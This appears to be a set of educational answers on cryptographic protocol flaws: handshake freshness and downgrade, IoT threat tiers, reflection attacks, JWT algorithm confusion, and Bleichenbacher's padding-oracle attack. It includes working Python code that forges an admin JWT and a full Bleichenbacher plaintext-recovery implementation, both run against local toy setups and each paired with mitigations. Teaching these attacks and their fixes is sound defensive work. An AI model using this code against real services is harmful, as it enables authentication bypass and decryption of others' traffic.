Cryptographic Protocol Design and Analysis Questions

Direct answer

Run four checks against every message in the spec: is it fresh (bound to something the verifier can't predict or that was never seen before), is it authenticated (covered by a MAC, message authentication code, or signature under a key the attacker doesn't have), is every security-relevant field covered by that authentication rather than just some of it, and can the server actually tell a live session from an old recording without needing state it doesn't want to keep? Applied to the given three-message handshake, that process surfaces four separate, independently-fixable flaws, not one.

Structured elaboration: the process

1. List every message and every field in it.
2. For each field, ask: is it fresh? Is it authenticated? Is it covered by whatever authentication the final message provides?
3. Check whether any negotiated parameter (version, algorithm choice) is authenticated at all, since an unauthenticated negotiation is a standing downgrade risk regardless of anything else in the spec.
4. Check whether the party whose long-term key is being trusted (here, the server) is itself authenticated by anything external to this exchange, or only by its own say-so.

Applying it to the given spec

client -> server: CLIENT_HELLO(version, cid), server -> client: SERVER_HELLO(version, cid, server_pub), client -> server: CLIENT_AUTH(encrypted_session_key, signature)

Vulnerabilities found, and fixes

1. No freshness anywhere. Nothing distinguishes a live exchange from a recorded one being replayed verbatim as a "new" connection. Fix: add a server-generated nonce to SERVER_HELLO, and require it inside whatever the final signature covers, so a replayed transcript can never reproduce a valid signature over a fresh nonce it never saw.
2. Unauthenticated version negotiation (downgrade). version travels in the clear with nothing binding it to the rest of the exchange, so an active attacker can rewrite it in transit to force a weaker version, and the tampering isn't caught unless the final signature happens to cover it, which the spec never states. Fix: make the client's signature cover the entire transcript, including the negotiated version, not just the encrypted session key.
3. No authentication of server_pub (MITM key substitution). Nothing certifies that server_pub belongs to the intended server; a MITM (man-in-the-middle) can substitute its own key and the client has no way to detect it. Fix: anchor server_pub to something external, either a certificate chain to a trusted CA (certificate authority), the same PKI-anchored trust model used to bind identity to a key in other contexts, or a pre-shared trust anchor if the deployment doesn't need public-CA-style trust.
4. Ambiguous signature scope. If the client's signature covers only encrypted_session_key rather than the full transcript, a captured (signature, encrypted_session_key) pair could potentially be spliced onto a different SERVER_HELLO, since nothing ties the signature to which specific exchange it belongs to. Fix: sign the concatenation of every prior message, not a single field, so any substitution changes the signed bytes and invalidates the signature.

Worked example: the fixed message flow

client -> server: CLIENT_HELLO(version, cid)
server -> client: SERVER_HELLO(version, cid, server_pub, server_nonce, server_cert_chain)
client -> server: CLIENT_AUTH(
    encrypted_session_key,
    signature_over(CLIENT_HELLO || SERVER_HELLO || encrypted_session_key)
)

Adding server_nonce gives freshness; adding server_cert_chain anchors server_pub to an external trust root instead of the server's bare say-so; widening the signature's scope to the full transcript closes both the downgrade gap and the splicing gap in one change, because version and server_pub are now covered by the same authentication as everything else.

Trade-offs and pitfalls

• It's tempting to patch each flaw as its own bolt-on (add a nonce here, add a cert there) without re-running the same four-step process against the fixed design; the value of a structured process is that it applies equally to the revision, not just the original, and composing fixes safely (signing the transcript after the nonce is added, not against a stale field layout) needs that re-check.
• This process, done well, only proves the "obviously wrong" cases are gone; it does not by itself prove the protocol secure, which is exactly why the question frames it as the step taken before a deeper formal or symbolic analysis, not a replacement for one, the same relationship a fast review checklist has to the deep review it precedes.
• If encrypted_session_key implies static RSA key transport (encrypting a session key directly under the server's long-term public key) rather than an ephemeral key exchange, the redesign above still leaves two further, separate problems worth flagging: no forward secrecy, and, depending on the padding scheme used, potential exposure to a Bleichenbacher-style chosen-ciphertext attack, both outside what freshness and transcript-signing alone can fix.

Direct answer

Map each attacker capability level to the attack classes it realistically enables, then prioritize mitigations by that mapping rather than testing all four attack classes equally hard against every attacker tier. A passive eavesdropper mainly sets up replay; an active network MITM (man-in-the-middle, an attacker positioned to read, drop, and inject traffic on the wire in real time) can force downgrade and unknown-key-share and, by manipulating the handshake itself, reinstallation; a compromised device can trigger reinstallation from the inside without needing network position at all, and launders stolen credentials into every other attack elsewhere; and physical access subsumes all of it, plus firmware-level rollback and hardware key extraction. This is a threat model for a TLS-like (Transport Layer Security-style) key-exchange handshake running on IoT (Internet of Things, network-connected embedded devices) hardware, so the highest-priority tests are the ones a device actually FAILS in a lab rig, not the ones covered only by a design document, since IoT firmware frequently implements less of the specified protocol than its paper design claims.

Structured elaboration

Highest-priority row: active network MITM. This is the tier most IoT threat models under-test, because it requires three DIFFERENT properties to all hold simultaneously, and a single missing one reopens the whole tier. Downgrade resistance needs the client to independently verify the server's chosen algorithm was actually one it offered, not merely that SOME signature verifies. Unknown-key-share resistance needs each party's own contribution, not just the peer's, bound into what gets signed or authenticated with a MAC (message authentication code, a keyed tag proving a message came from someone holding the shared key). Reinstallation resistance needs the key/counter derivation to be idempotent-safe: re-processing the same handshake message a second time must not silently reuse key or nonce state, it must either produce the identical established session (safe) or be detectably rejected as a duplicate, never quietly re-derive and reuse. Testing this tier means an actual MITM proxy in the lab, not a code review; several real-world downgrade and reinstallation bugs have shipped in implementations whose design documents described the correct defense but whose code had a state machine that accepted a message the design assumed would never arrive twice.

Second-priority row: compromised device. The distinguishing risk here is not that the attacker learns secrets, any device compromise does that, but that reinstallation can now happen WITHOUT any network position at all: an attacker who can run code on the device can simply corrupt or roll back its own saved nonce/counter file, since nothing on the wire has to look wrong for this to happen locally. This is why nonce and counter state belongs in the same protected storage as the long-term key rather than in a more casually written state file. It also means "the attacker has the key" and "the attacker can complete a fresh, accepted handshake with an uncompromised peer" are different claims that must be tested separately: possessing the key alone should not automatically grant everything that impersonating a live, freshly authenticated device grants, if the peer's freshness and liveness checks, not just its signature or MAC checks, are doing their job.

Worked example

Concretely, take the reinstallation row on the active-MITM tier. A device and server complete a 4-message key-exchange handshake; message 4 is the client's confirmation that installs the derived session key and resets its send/receive counters to zero. An active MITM captures message 4 in flight but drops it before it reaches the server, then, after the client, having received no acknowledgment, times out and retransmits an earlier message, forwards the ORIGINAL captured message 4 to the server a second time. If the server's installation logic is idempotent-unsafe, meaning it re-installs the same derived key AND resets the counter to zero again on receiving message 4 a second time, both sides now hold the same key with a counter reset to a value they have already used once. Any traffic encrypted at counter value 0 the first time around is now encryptable again at counter value 0, which for a typical counter-mode stream construction (one that XORs a keystream derived from key and counter into the plaintext) means two different plaintexts get encrypted under the identical keystream, letting an attacker who has both ciphertexts recover their XOR directly, C1 XOR C2 = P1 XOR P2, without ever learning the key. The fix at the protocol level is for the RECEIVER's installation step to be a no-op on a message it has already accepted for the current handshake instance, tracked by handshake-instance id, not merely "did I see message 4," since a legitimate retransmission and a replayed message 4 are bit-identical, not to unconditionally re-run key and counter installation every time message 4 arrives.

Trade-offs and pitfalls

• Treating "we tested downgrade" as covering unknown-key-share and reinstallation too is the most common gap: the three MITM-tier attacks require testing three DIFFERENT properties of the transcript-binding and state-machine logic, and a fuzzer or proxy tool that only forces weak-suite selection will never exercise the reinstallation state machine at all.
• Physical-access mitigations (secure boot, anti-rollback, side-channel hardening) are the most expensive to retrofit and the easiest to under-invest in on a device roadmap, precisely because the return on investment looks lowest, "who has physical access to my thermostat", right up until a fleet-scale credential-extraction attack turns one compromised unit into a template for every unit sharing its firmware or provisioning process.
• A device passing every capability-level test in isolation does not guarantee resistance to a combined attacker: a compromised device that also has physical access, or a MITM position combined with a partially compromised device, can chain weaknesses that no single-tier test plan surfaces. Prioritize the single-tier tests above as a FLOOR, not the full evaluation plan.

Direct answer

In an isolated, single-session reading, this protocol does prove that both A and B hold the shared key $K_{ab}$ and does resist a simple replay of an old, completed run, since each side demands a freshly generated nonce for every new session. But it has two real weaknesses once you consider realistic, concurrent operation: it never binds a role or identity into the encrypted nonce pair, which opens it to a reflection (parallel-session) attack that fully defeats mutual authentication, and it derives no session key at all from a static long-term $K_{ab}$, so there is no forward secrecy for anything built on top of it.

Structured elaboration

Does it provide mutual authentication? Tracing the flow: A sends $\{N_a\}_{K_{ab}}$; B decrypts it, learns $N_a$, and replies with $\{N_a, N_b\}_{K_{ab}}$, which only someone holding $K_{ab}$ could have produced, so A is convinced it is talking to a $K_{ab}$ holder. A then replies with $\{N_b\}_{K_{ab}}$, convincing B in turn. Taken as a single isolated exchange with no other sessions running, this genuinely proves mutual possession of $K_{ab}$.

Does it protect against replay? A straightforward replay of an old, completed run fails, because each new session demands a freshly generated $N_a$, and a stale $\{N_a, N_b\}_{K_{ab}}$ from a previous session will not match the fresh $N_a$ the responder is now expecting.

The real weakness: no identity or role binding. Nothing in message two, $\{N_a, N_b\}_{K_{ab}}$, states who produced it or in what role. Both A and B are equally capable of performing that exact encryption, since both hold $K_{ab}$, and the message format gives no way to tell "this is B's step-2 reply" from "this could just as easily be A's own step-2 reply in a different, concurrently-running session." That symmetry is what enables a reflection attack: an attacker Mallory, who does not know $K_{ab}$ at all, can still convince A that it completed a genuine mutual-authentication session with B, purely by using A's own protocol engine as an oracle against itself, in a second, parallel session it opens with A while A is mid-handshake with what it believes is B.

Concrete reflection attack trace, where Mallory intercepts everything between A and its intended peer:

1. A believes it is starting a session with B, and sends: $A \to \text{Mallory (as "B")}: A, \{N_a\}_{K_{ab}}$
2. Mallory cannot decrypt this (she does not know $K_{ab}$), so she opens a SECOND, parallel session back to A, reflecting the exact same ciphertext, this time posing as an initiator: $\text{Mallory (as "A")} \to A: A, \{N_a\}_{K_{ab}}$
3. A, now acting as the RESPONDER in this second session, decrypts $\{N_a\}_{K_{ab}}$ with its own copy of $K_{ab}$ (which it holds regardless of role), picks a fresh $N_2$, and replies: $A \to \text{Mallory}: \{N_a, N_2\}_{K_{ab}}$
4. Mallory takes this ciphertext, exactly the shape B was supposed to send back in session one, and forwards it as if it were B's reply in the FIRST session: $\text{Mallory (as "B")} \to A: \{N_a, N_2\}_{K_{ab}}$
5. A, in session one, checks that $N_a$ matches what it sent, which it does, concludes this is genuinely B's reply, and sends the expected closing message: $A \to \text{Mallory (as "B")}: \{N_2\}_{K_{ab}}$
6. Mallory relays this back into session two, completing it: $\text{Mallory (as "A")} \to A: \{N_2\}_{K_{ab}}$

Both of A's sessions now complete successfully from A's point of view, session one appears to be a genuine mutual authentication with B, and session two appears to be a genuine mutual authentication with some initiator, but Mallory has never demonstrated knowledge of $K_{ab}$ at any point, she only relayed A's own outputs back into A as a different session's inputs. This works because the protocol never asks "which session, and which role, was this ciphertext actually produced for," it only checks that decryption succeeded and the expected nonce reappeared.

Forward secrecy. This protocol establishes no session key of its own, it is a pure authentication exchange over a static, long-term $K_{ab}$. If a session key is derived from $(N_a, N_b)$, as is common in schemes shaped like this one, that derivation depends only on values encrypted under the same static $K_{ab}$, so a future compromise of $K_{ab}$ would let an attacker who recorded past traffic recover $N_a$ and $N_b$ from any old session, and therefore any session key derived from them, retroactively. There is no ephemeral contribution anywhere in the protocol as given, so there is no forward secrecy to speak of.

Worked example

The reflection trace above is the worked example: it is a fully self-contained six-message interleaving that uses only the protocol as specified, no cryptographic weakness, no guessed nonce, no brute force, just two concurrently permitted sessions with A talking to a copy of itself via Mallory's relay.

Trade-offs and pitfalls

Both real weaknesses trace back to the same root cause as the identity-binding fix in the Needham-Schroeder-Lowe protocol: a message that would look equally valid coming from either role, in either of two concurrent sessions, cannot be trusted to prove which session or role actually produced it. The practical fix mirrors that one, bind an explicit role marker or peer identity into the encrypted nonce pair in message two, for example $\{N_a, N_b, B\}_{K_{ab}}$, so A can detect that a reflected message claiming to be B's reply is actually carrying its own identity instead. Separately, if a session key is meant to come out of this exchange, mixing in a fresh, ephemeral Diffie-Hellman contribution rather than deriving it purely from $(N_a, N_b, K_{ab})$ would be the fix for the forward-secrecy gap, entirely independent of the reflection-attack fix, since the two weaknesses have different causes and different remedies.

Direct answer

The vulnerability exists because the server lets the token itself decide how it will be checked: it reads the attacker-controlled alg header and dispatches to a verification routine based on that value, instead of the server deciding in advance which algorithm and which key type it will accept. Concretely, if the same key material is reused across both branches, an attacker who only knows the server's public RSA (Rivest-Shamir-Adleman, an asymmetric-key algorithm) key, which is public by design, can forge a token by signing it with HMAC (Hash-based Message Authentication Code, a symmetric integrity check) using that public key's bytes as the HMAC secret, set alg to "HS256", and have a naive verifier accept it as a valid signature.

Structured elaboration

Why the confusion is possible. RS256 and HS256 are structurally different operations that happen to share a name pattern in this API: RS256 verifies a signature against a PUBLIC key (anyone can hold it, only the private key holder can sign), while HS256 verifies a MAC against a SECRET shared key (anyone who holds it can both sign and verify). A verifier that does key = the RSA public key material; if alg == "HS256": HMAC-verify with key has silently turned a value that was only ever meant to be public into a value being used as if it were secret. Since the RSA public key is routinely handed out (in a JWKS endpoint, in a certificate, in documentation), the attacker already has everything needed to compute a valid HS256 tag over any token payload they choose.

How to detect it during protocol analysis. Look at the verification code path, not just the token format: does the server's decode call accept a list or set of algorithms rather than one fixed algorithm? Does it derive alg from jwt.get_unverified_header(token) (or equivalent) before deciding how to verify? Is the same variable used to hold both "the RSA public key" and "the key passed to the verifier," so a caller could pass it to an HMAC-based check without an explicit type distinction? A quick black-box test is to take a legitimately issued RS256 token, keep the payload, re-sign it as HS256 using the server's known/discoverable public key as the HMAC secret, and see if the server accepts it.

How to fix it at the server implementation level. Pin the expected algorithm and key type together on the server, and never let the token's own header select either:

• Call the decode function with an explicit, fixed algorithm allow-list containing only the one algorithm you issue, for example algorithms=["RS256"], never deriving that list from the incoming token.
• Use a different, type-appropriate key variable for each algorithm family, so there is no code path where the same bytes can be handed to both an HMAC check and an RSA-signature check.
• If the API must support key rotation, look the verification key up by a kid (key ID) claim against a server-controlled key registry, and still constrain the algorithm family that registry entry is allowed to use, rather than trusting the token to declare it.

Worked example

This is fully reproducible: it hand-builds the forged token (bypassing library-level defenses that would otherwise mask the underlying mistake) to show exactly what a naive, hand-rolled verifier does, then shows the fix rejecting it.

import base64, hashlib, hmac, json
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization

def b64url(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()
def b64url_decode(s: str) -> bytes:
    return base64.urlsafe_b64decode(s + "=" * (-len(s) % 4))

# Server's real RSA keypair; the PUBLIC key is meant to be public.
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
public_pem = private_key.public_key().public_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PublicFormat.SubjectPublicKeyInfo)

legit_token = jwt.encode({"sub": "alice", "role": "user"}, private_key, algorithm="RS256")

# VULNERABLE verifier: dispatches on the token's own 'alg' header, reusing the
# same key material for both branches (this is what the question describes).
def naive_verify(token, key_material):
    h_b64, p_b64, s_b64 = token.split(".")
    header, payload = json.loads(b64url_decode(h_b64)), json.loads(b64url_decode(p_b64))
    signing_input = f"{h_b64}.{p_b64}".encode()
    sig = b64url_decode(s_b64)
    if header["alg"] == "HS256":
        expected = hmac.new(key_material, signing_input, hashlib.sha256).digest()
        if not hmac.compare_digest(expected, sig):
            raise ValueError("bad HS256 signature")
    elif header["alg"] == "RS256":
        from cryptography.hazmat.primitives.asymmetric import padding
        from cryptography.hazmat.primitives import hashes
        serialization.load_pem_public_key(key_material).verify(
            sig, signing_input, padding.PKCS1v15(), hashes.SHA256())
    return payload

# FIXED verifier: algorithm is pinned server-side, never read from the token.
def fixed_verify(token, public_key_pem):
    return jwt.decode(token, key=public_key_pem, algorithms=["RS256"])

# Attacker forges an admin token using only the PUBLIC key (never had the private key).
h = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
p = b64url(json.dumps({"sub": "alice", "role": "admin"}).encode())
sig = hmac.new(public_pem, f"{h}.{p}".encode(), hashlib.sha256).digest()
forged_token = f"{h}.{p}.{b64url(sig)}"

print("naive_verify(forged):", naive_verify(forged_token, public_pem))
try:
    fixed_verify(forged_token, public_pem)
except Exception as e:
    print("fixed_verify(forged): rejected -", type(e).__name__, str(e))

Output (actually executed):

naive_verify(forged): {'sub': 'alice', 'role': 'admin'}
fixed_verify(forged): rejected - InvalidAlgorithmError The specified alg value is not allowed

The naive verifier accepts the forged, privilege-escalated token; the fixed one, which never reads alg from the token, rejects it outright.

Trade-offs and pitfalls

This class of bug has been common enough that modern libraries like PyJWT now add their own defense: jwt.encode() and jwt.decode() refuse to use a PEM-shaped key as an HMAC secret, which is why the demonstration above builds the forged token by hand rather than through the library, exactly as an attacker's own tooling would since it owes nothing to the victim's library choices. That library-level guard is useful defense in depth, but it is not a substitute for the real fix: a server that still lets algorithms= be influenced by attacker input, or that still shares key material across algorithm families in a custom verifier, is vulnerable regardless of which library it calls. The other common near-miss is fixing the algorithm list but forgetting alg: "none", an unsigned-token mode some libraries historically accepted by default; any allow-list must be a closed, explicit set that excludes "none" as well.

Direct answer

Bleichenbacher's attack exploits a server that will tell an attacker, in any distinguishable way (a different error message, a different response, or a measurable timing difference), whether an arbitrary ciphertext decrypts to a validly padded RSA PKCS#1 v1.5 message. That single bit, "did this decrypt to something starting with the right padding bytes?", repeated across carefully chosen ciphertexts derived mathematically from the target, is enough to recover the entire original plaintext without ever learning the private key, historically requiring on the order of hundreds of thousands to a few million oracle queries against real key sizes, hence "the million message attack."

Structured elaboration

How the padding check becomes an oracle. PKCS#1 v1.5 padding for RSA encryption has the form 0x00 0x02 || PS || 0x00 || M, where PS is nonzero random padding bytes and M is the message. A server that decrypts a ciphertext, checks this structure, and returns a distinguishable error when it's malformed (a different TLS, Transport Layer Security, alert; a different HTTP status; or even a measurably different response time between "padding rejected immediately" and "padding accepted, MAC (message authentication code) checked next") is leaking exactly the bit an attacker needs.

The algorithm, structurally. Starting from a target ciphertext that is already known to be valid (a real captured ciphertext, since it was legitimately encrypted), the attacker multiplies it by s^e mod n for chosen values of s and queries the oracle on each result; because RSA is multiplicative ((m * s)^d mod n = m^d * s^d mod n), each accepted s narrows the mathematically possible range of the original plaintext, without ever decrypting anything directly. Iterating this search-and-narrow process, alternating between searching for a new conforming s and shrinking the interval of possible plaintexts using every s found so far, converges on a single value: the recovered plaintext.

Safe black-box tests to confirm susceptibility. Send a small number of syntactically malformed ciphertexts (wrong first two bytes, wrong padding byte, truncated padding) against a target endpoint and check whether the server's response (error code, message, or measured timing) differs in an attacker-observable way between the failure types. Confirming susceptibility does not require running the full attack, a handful of malformed-ciphertext probes is enough to establish whether the distinguishable-error precondition holds, and only then does escalating to a demonstrative recovery of a self-controlled test value require anything close to the query volume the real attack needs.

Mitigations. Emergency configuration change: disable RSA key-transport cipher suites (any suite that isn't using ephemeral (EC)DHE for key exchange) entirely, since removing RSA decryption from the handshake removes the oracle regardless of how carefully the padding check is implemented. Software fix, if RSA key transport must remain: implement constant-time, constant-response padding checks (a single code path and a single generic error/timing profile for every failure mode) rather than branching on padding validity, the same "check something unforgeable first, then respond identically regardless of why" discipline that defeats a CBC (cipher block chaining) padding oracle.

Worked example

"""
Bleichenbacher's chosen-ciphertext ("million message") attack against
RSA PKCS#1 v1.5 padding, run against a real (if deliberately tiny, for
runtime) RSA key. The oracle below is the ONLY thing the attack talks to: it
returns True/False for "does this ciphertext decrypt to a conforming
PKCS#1 v1.5 padded message" (the "0x00 0x02 ..." prefix check), modeling a
TLS endpoint that leaks exactly that bit via a distinguishable error/timing
difference. The attacker never touches the private exponent. Deterministic
(seeded), stdlib-only big-integer arithmetic.
"""
import math
import random

random.seed(20260901)  # pinned for reproducibility


def is_probable_prime(n, rounds=20):
    if n < 2:
        return False
    for p in [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31]:
        if n % p == 0:
            return n == p
    d, r = n - 1, 0
    while d % 2 == 0:
        d //= 2
        r += 1
    for _ in range(rounds):
        a = random.randrange(2, n - 1)
        x = pow(a, d, n)
        if x in (1, n - 1):
            continue
        for _ in range(r - 1):
            x = pow(x, 2, n)
            if x == n - 1:
                break
        else:
            return False
    return True


def gen_prime(bits):
    while True:
        cand = random.getrandbits(bits) | (1 << (bits - 1)) | 1
        if is_probable_prime(cand):
            return cand


def gen_rsa_keypair(bits=64):
    while True:
        p = gen_prime(bits // 2)
        q = gen_prime(bits // 2)
        if p == q:
            continue
        n = p * q
        if n.bit_length() != bits:
            continue
        phi = (p - 1) * (q - 1)
        e = 65537
        if math.gcd(e, phi) != 1:
            continue
        d = pow(e, -1, phi)
        return n, e, d


def pkcs1_pad(msg: bytes, k: int) -> bytes:
    ps_len = k - 3 - len(msg)
    assert ps_len >= 8, "message too long for this k"
    ps = bytes(random.randrange(1, 256) for _ in range(ps_len))  # nonzero padding bytes
    return b"\x00\x02" + ps + b"\x00" + msg


def i2osp(x: int, k: int) -> bytes:
    return x.to_bytes(k, "big")


def os2ip(b: bytes) -> int:
    return int.from_bytes(b, "big")


def make_oracle(n, d, k):
    calls = {"count": 0}

    def oracle(c: int) -> bool:
        calls["count"] += 1
        m = pow(c, d, n)
        em = i2osp(m, k)
        return em[0] == 0x00 and em[1] == 0x02  # "weak" oracle: prefix-only check

    return oracle, calls


def ceil_div(a, b):
    return -(-a // b)


def bleichenbacher(n, e, c0, k, B, oracle):
    M = [(2 * B, 3 * B - 1)]
    s = n // (3 * B)  # starting search point for step 2a/2b (>= n/3B)
    i = 1
    while True:
        if i == 1 or len(M) > 1:
            # step 2a (i=1) / 2b (i>1, multiple intervals): linear search
            s += 1
            while not oracle((c0 * pow(s, e, n)) % n):
                s += 1
        else:
            # step 2c: single interval [a,b], search via r-based candidates
            a, b = M[0]
            r = ceil_div(2 * (b * s - 2 * B), n)
            found = False
            while not found:
                lo = ceil_div(2 * B + r * n, b)
                hi = (3 * B + r * n) // a
                for cand in range(lo, hi + 1):
                    if oracle((c0 * pow(cand, e, n)) % n):
                        s = cand
                        found = True
                        break
                r += 1

        # step 3: narrow the interval set using this s
        new_M = []
        for (a, b) in M:
            r_lo = ceil_div(a * s - 3 * B + 1, n)
            r_hi = (b * s - 2 * B) // n
            for r in range(r_lo, r_hi + 1):
                lo = max(a, ceil_div(2 * B + r * n, s))
                hi = min(b, (3 * B - 1 + r * n) // s)
                if lo <= hi:
                    new_M.append((lo, hi))
        # merge overlapping/adjacent intervals
        new_M.sort()
        merged = []
        for lo, hi in new_M:
            if merged and lo <= merged[-1][1] + 1:
                merged[-1] = (merged[-1][0], max(merged[-1][1], hi))
            else:
                merged.append((lo, hi))
        M = merged

        if len(M) == 1 and M[0][0] == M[0][1]:
            return M[0][0], i
        i += 1
        if i > 200000:
            raise RuntimeError("did not converge")


if __name__ == "__main__":
    BITS = 128  # tiny on purpose (real RSA is 2048+) so the attack completes fast
    n, e, d = gen_rsa_keypair(BITS)
    k = (n.bit_length() + 7) // 8
    print(f"n={n} (bit_length={n.bit_length()}, k={k} bytes), e={e}")

    secret = b"HI"  # short message so it fits with k=8 bytes: 00 02 PS(>=1) 00 'H' 'I'
    em = pkcs1_pad(secret, k)
    m = os2ip(em)
    c = pow(m, e, n)
    print("padded EM:", em, "-> integer m =", m)
    print("ciphertext c =", c)

    oracle, calls = make_oracle(n, d, k)
    assert oracle(c), "sanity check: real ciphertext must be oracle-conforming"

    B = 1 << (8 * (k - 2))
    recovered_m, iterations = bleichenbacher(n, e, c, k, B, oracle)
    recovered_em = i2osp(recovered_m, k)
    print("\nrecovered EM via oracle only (no d used by attacker):", recovered_em)
    print("matches original padded message:", recovered_em == em)
    print(f"oracle queries used: {calls['count']}, algorithm iterations: {iterations}")

    # ---- mitigation check: a server that returns the SAME generic error for
    # every decryption/unpadding failure (no distinguishable padding-vs-other
    # signal) gives the attacker no bit to search on at all. Bound the query
    # count so this negative case terminates instead of looping forever.
    def constant_time_oracle_no_signal(_c: int) -> bool:
        return False  # every ciphertext looks identical to the attacker

    QUERY_CAP = 5000
    probed = 0
    s_probe = n // (3 * B)
    leaked = False
    while probed < QUERY_CAP:
        s_probe += 1
        probed += 1
        if constant_time_oracle_no_signal((c * pow(s_probe, e, n)) % n):
            leaked = True
            break
    print(f"\nagainst a fixed oracle with no distinguishable signal: "
          f"{probed} probes, found a conforming response: {leaked} "
          f"(step 2a of the algorithm never terminates -> attack cannot proceed)")

Output:

n=201529591239382309719806980313356061891 (bit_length=128, k=16 bytes), e=65537
padded EM: b'\x00\x02\xf19&\x8c\xf5\x8b\xc1\x80\x1c\x97\x82\x00HI' -> integer m = 15277182367652566682541000314865737
ciphertext c = 75596226839603652083449582388534583870

recovered EM via oracle only (no d used by attacker): b'\x00\x02\xf19&\x8c\xf5\x8b\xc1\x80\x1c\x97\x82\x00HI'
matches original padded message: True
oracle queries used: 13675, algorithm iterations: 96

against a fixed oracle with no distinguishable signal: 5000 probes, found a conforming response: False (step 2a of the algorithm never terminates -> attack cannot proceed)

Against a real (deliberately tiny, for runtime) RSA key, the attack recovers the exact original padded message using only the oracle's True/False signal, confirmed against the original bytes. Against a fixed oracle that returns no distinguishable signal at all, the algorithm's very first search step, finding any conforming s, never terminates within a generous query budget, because there is no varying response to search on.

Trade-offs and pitfalls

• The attack does not require the oracle to reveal why padding failed, only whether it did; a fix that unifies the error message text but leaves a timing difference between the two code paths is not actually fixed, the same class of subtlety as the CBC padding-oracle mitigation.
• A "safe" black-box test still sends real traffic to a production endpoint; scope it to a small number of clearly malformed probes and coordinate with the operator, rather than running anything resembling the full multi-thousand-query recovery against a system you don't own.
• The most durable mitigation is architectural, not a patched check: TLS 1.3 removed RSA key transport from the protocol entirely, so this whole vulnerability class cannot recur regardless of how carefully any future implementation checks padding, which is a stronger guarantee than any amount of careful error-handling in a protocol that still allows RSA key transport as an option.